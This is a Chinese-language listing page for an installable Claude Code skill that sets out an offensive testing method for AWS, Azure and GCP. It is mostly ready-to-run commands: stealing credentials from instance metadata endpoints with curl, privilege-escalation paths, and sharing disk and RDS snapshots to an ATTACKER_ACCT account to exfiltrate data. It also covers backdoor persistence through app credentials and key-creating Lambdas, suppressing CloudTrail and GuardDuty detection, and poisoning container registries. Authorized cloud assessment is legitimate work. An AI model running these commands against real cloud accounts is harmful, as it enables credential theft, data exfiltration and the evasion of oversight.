关于 offensive-cloud
面向云安全评估人员的 AWS、Azure 和 GCP 攻防测试方法指南,涵盖身份与权限枚举、权限提升、数据目标、持久化及跨云常见路径。
主要功能
- 01AWS、Azure 与 GCP 身份枚举
- 02云权限与提升路径分析
- 03数据目标和跨账户信任检查
- 04持久化与检测相关注意事项
- 05云安全测试工具与检查清单
适用场景
- 01规划多云环境的授权安全评估
- 02排查云身份的权限提升路径
- 03评估 CI/CD 信任与备份数据暴露风险
安装
复制下面的命令,在终端中运行。
$
npx skills add https:/ / github.com/ snailsploit/ claude-red --skill offensive-cloud安装后在 Claude Code 中输入/offensive-cloud确认已加载。
详细介绍
云平台(AWS / Azure / GCP)——攻击性测试方法论
快速工作流
- 识别云平台及你拥有的身份上下文(用户、角色、服务账号、实例角色)
- 只进行枚举,不执行写操作 —
aws sts get-caller-identity、az account show、gcloud auth list - 将权限映射到已知的权限提升原语(PassRole、Owner 等)
- 在警报触发前找到数据和持久化锚点
- 在报告中记录攻击链,包括时间戳、身份和资源
AWS
身份发现
aws sts get-caller-identity
aws iam list-attached-user-policies --user-name $(aws sts get-caller-identity --query Arn --output text | awk -F/ '{print $NF}')
aws iam list-attached-role-policies --role-name <role>
aws iam simulate-principal-policy --policy-source-arn $(aws sts get-caller-identity --query Arn --output text) \
--action-names "*"
IMDS 凭证窃取
# IMDSv1 (legacy)
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>
# IMDSv2 (modern, requires token)
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/
通过 SSRF,当 SSRF 允许设置自定义标头时,过去可以访问 IMDSv2。现代 AWS 会拒绝缺少 Host: 169.254.169.254 且未遵循正确 PUT 后接 GET 流程的 SSRF — 除非代理会反射自定义标头,否则 2024 年及以后通过 SSRF 很少能获取 IMDSv2。
权限提升路径
| 路径 | 所需权限 | 结果 |
|---|---|---|
iam:PassRole + lambda:CreateFunction | 将任意角色传递给你创建的 Lambda | 以该角色身份运行代码 |
iam:PassRole + ec2:RunInstances | 将任意角色传递给 EC2 实例 | IMDS → 角色凭证 |
iam:CreatePolicyVersion + iam:SetDefaultPolicyVersion | 编辑自己的策略 | 提升自身权限 |
iam:UpdateAssumeRolePolicy | 针对特权角色 | 将自己添加为主体 |
iam:CreateLoginProfile(针对没有登录配置文件的用户) | 设置控制台密码 | 控制台访问权限 |
iam:CreateAccessKey(针对其他用户) | 为他人创建密钥 | 持久化访问权限 |
使用 sts:TagSession 对 ABAC 角色执行 sts:AssumeRole | 如果角色信任会话标签 | 基于标签的权限提升 |
cloudformation:CreateStack + 宽松角色 | 执行任意服务操作 | 间接获得任意权限 |
glue:UpdateDevEndpoint | 向 Glue 端点注入 SSH 密钥 | 以 Glue 角色身份执行代码 |
对任意实例执行 ssm:SendCommand | 在实例上远程执行代码(RCE)及使用其角色 | 横向移动并提升权限 |
# Pacu — the tooling for AWS escalation
pacu
> import_keys default
> run iam__enum_permissions
> run iam__privesc_scan
跨账号 / 组织
# Find roles trusting the current account
aws iam list-roles --query 'Roles[?AssumeRolePolicyDocument!=null]'
# Then grep AssumeRolePolicyDocument.Statement for trusts to your account
# Org-wide (if Organizations access)
aws organizations list-accounts
aws organizations list-roots
数据目标
# S3
aws s3api list-buckets
aws s3 ls s3://<bucket> --recursive | head
aws s3api get-bucket-policy --bucket <bucket>
# Cross-region snapshot share (data exfil without S3)
aws ec2 modify-snapshot-attribute --snapshot-id snap-... \
--attribute createVolumePermission \
--create-volume-permission "Add=[{UserId=ATTACKER_ACCT}]"
# RDS snapshot share
aws rds modify-db-snapshot-attribute --db-snapshot-identifier mysnap \
--attribute-name restore --values-to-add ATTACKER_ACCT
# Secrets Manager / Parameter Store
aws secretsmanager list-secrets
aws ssm get-parameters-by-path --path / --recursive --with-decryption
持久化
# Cross-account SCP exemption via service-linked role
# AWS Config snapshot delivery channel rerouted to attacker bucket
aws configservice put-delivery-channel ... # Rare but devastating
# EventBridge rule firing Lambda you control on every IAM change
# Backdoor: Lambda creates an access key for any new admin user
规避检测
- 将 CloudTrail 配置为多区域并启用日志文件验证 — 如果你有权限,可禁用验证
- 如果你有相应权限(在生产环境中很少见),可通过
update-findings-feedback将 GuardDuty 发现结果标记为已忽略 - VPC Flow Logs 只能捕获 IP 流量;控制平面 API 调用只能通过 CloudTrail 记录
Azure
身份发现
az account show
az ad signed-in-user show
az role assignment list --all --assignee $(az ad signed-in-user show --query id -o tsv)
# Microsoft Graph
az rest --method GET --uri "https://graph.microsoft.com/v1.0/me"
IMDS
curl -H "Metadata:true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
权限提升路径
| 路径 | 所需角色 / 权限 | 结果 |
|---|---|---|
| 对自身 / 订阅拥有 User Access Administrator 角色 | 授予自己 Owner 角色 | 订阅所有者 |
| 应用注册所有者 | 添加证书 / 密钥,创建仅应用令牌 | 应用的权限 |
| Virtual Machine Contributor + KV Reader | 在带 MSI 的 VM 上运行命令 → 访问 KV | 机密 |
具有 RBAC */write 权限的自定义角色 | 编辑角色分配 | 提升自身权限 |
| Logic App Contributor | 编辑工作流 → 执行特权操作 | 间接执行任意操作 |
| Automation Account Contributor | 使用 Run-As 账号运行 RunBook | 以 RunAs 身份运行 |
AAD Application Administrator | 将应用分配到高权限角色 | 通过应用成为云管理员 |
AAD Cloud Application Administrator | 同上,但不包括本地环境 | 云管理员 |
AAD Directory Synchronization Account | 通过 AAD Connect 执行 DCSync | 获取所有本地哈希 |
| Privileged Authentication Administrator | 为 Global Admin 重置 MFA / 密码 | 重置 Global Admin 账号 |
# ROADtools — the AAD enumeration toolkit
roadrecon auth -u user@tenant -p pass
roadrecon gather
roadrecon gui # browse the gathered DB
# AzureHound for BloodHound integration
azurehound list -u user -p pass --tenant tenant.onmicrosoft.com
数据目标
# Storage account access keys (gold)
az storage account keys list -g RG -n SA
# Key Vault (per RBAC + access policies)
az keyvault secret list --vault-name myvault
az keyvault secret show --vault-name myvault -n cred
# Cosmos DB primary keys
az cosmosdb keys list -g RG -n acct
# SQL admin reset
az sql server ad-admin create -g RG -s server -u attacker@tenant -i <obj-id>
持久化
# Add cert to existing privileged AAD application
az ad app credential reset --id <app-id> --append
# Conditional Access bypass: add own service principal to "trusted locations" / exclusions
# Custom rules to AAD Audit log retention
规避检测
- AAD Audit Log:租户级别的日志,低于 Global Admin 的权限无法篡改
- Microsoft Sentinel:如果你有 Workbook / Analytics Rule 写入权限,可调整规则
- Defender for Cloud:警报抑制规则
GCP
身份发现
gcloud auth list
gcloud projects list
gcloud iam service-accounts list
gcloud projects get-iam-policy $(gcloud config get-value project)
IMDS
curl -H "Metadata-Flavor: Google" \
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
权限提升路径
| 路径 | 所需权限 | 结果 |
|---|---|---|
在 SA 上拥有 iam.serviceAccountTokenCreator | 以 SA 身份创建令牌 | SA 的权限 |
iam.serviceAccountUser + compute.instances.create | 将 SA 指定给新 VM | 通过 IMDS 以 SA 身份运行 |
iam.serviceAccountKeyAdmin | 为任意 SA 创建 JSON 密钥 | 持久化的 SA 凭据 |
cloudbuild.builds.create | 构建以 Cloud Build SA 身份运行(通常具有 Editor 角色) | 项目上的 Editor 角色 |
deploymentmanager.deployments.create | 以 DM SA 身份运行(通常具有 Owner 角色) | Owner 角色 |
cloudfunctions.functions.create + actAs | 将任意 SA 指定给函数 | 以该 SA 身份运行 |
dataflow.jobs.create + actAs | 相同模式 | SA 的权限 |
iam.roles.update(自定义角色) | 向你拥有的角色添加权限 | 提升自身权限 |
resourcemanager.projects.setIamPolicy | 为自己授予任意角色 | Owner 角色 |
# gcp_enum / gcp_scanner
git clone https://github.com/google/gcp_scanner
python gcp_scanner.py -k gcp.json -o out/
# Hunt for SA impersonation paths
gcloud iam service-accounts get-iam-policy <sa-email>
# Look for ServiceAccountTokenCreator on something you control
数据目标
# GCS buckets
gcloud storage ls
gsutil ls -L gs://bucket
gsutil iam get gs://bucket
# Cloud SQL
gcloud sql instances list
gcloud sql users list --instance <instance>
# Secret Manager
gcloud secrets list
gcloud secrets versions access latest --secret=<name>
跨项目/文件夹横向转移
# Org-level perms?
gcloud organizations list
gcloud resource-manager folders list --organization <id>
gcloud projects list --filter="parent.id=<folder-id>"
跨云模式
以 CI/CD 为跳板
2024-2025 年的大多数云环境接管都从 CI 令牌开始:
- GitHub Actions OIDC 配置错误 → 利用宽松的
sub声明来冒用任意 AWS 角色 - GitLab CI 推送到错误的分支 → 获得生产环境角色
- Jenkins Agent 的环境变量中包含云凭据
仔细测试 OIDC 信任策略声明:
"Condition": {
"StringLike": {
"token.actions.githubusercontent.com:sub": "repo:org/*"
}
}
快照横向转移(适用于所有 3 家云服务商)
对受害 VM/磁盘创建快照 → 在受控账户下共享或挂载 → 离线提取数据。绕过主机级防护措施。
日志中的机密信息
CloudTrail/Activity Log/Cloud Audit Logs 有时会记录请求正文。查找会 POST API 密钥的 SaaS 集成——这些密钥可能会出现在审计日志中。
容器镜像仓库投毒
ECR/ACR/Artifact Registry——如果你拥有生产环境正在使用的标签的推送权限,就可以替换镜像。标签可变性就是漏洞所在。
工具矩阵
| 工具 | AWS | Azure | GCP | 用途 |
|---|---|---|---|---|
| ScoutSuite | ✓ | ✓ | ✓ | 安全态势审计 |
| Prowler | ✓ | ✓ | ✓ | CIS/PCI 检查 |
| Pacu | ✓ | 攻击框架 | ||
| CloudGoat | ✓ | 易受攻击的实验环境 | ||
| BloodHound + AzureHound | ✓ | 基于图的权限提升 | ||
| ROADtools | ✓ | AAD 侦察 + 离线分析 | ||
| MicroBurst | ✓ | 基于 PS 的攻击工具 | ||
| Stormspotter | ✓ | Microsoft 自有的攻击性枚举工具 | ||
| gcp_scanner | ✓ | 基于令牌的侦察 | ||
| GCPBucketBrute | ✓ | GCS 存储桶发现 |
作战速查表
[ ] sts/get-caller-identity, az account show, gcloud auth list
[ ] Enumerate effective permissions (simulate-principal-policy / get-iam-policy)
[ ] Map known privesc paths against current perms
[ ] Pacu/ROADtools/gcp_scanner full enumeration
[ ] Identify data crown jewels (S3/Blob/GCS, KV, secrets)
[ ] Test cross-account/tenant/project trust paths
[ ] Test CI/CD OIDC trust policies
[ ] Test backup/snapshot exfiltration paths
[ ] Document discovered identities, paths, and data with timestamps
[ ] Persistence demonstrated only with explicit authorization
重要参考资料
- AWS IAM 权限参考(boto3 文档)
- Azure RBAC 内置角色 + 操作列表
- GCP IAM 权限参考
- HackTricks Cloud——持续更新的最新攻击路径参考
- “Pacu” 框架文档——pacu.aws.cloud
- MITRE ATT&CK 云矩阵
- 来源:https://github.com/SnailSploit/offensive-checklist/blob/main/cloud.md
评论
支持 Markdown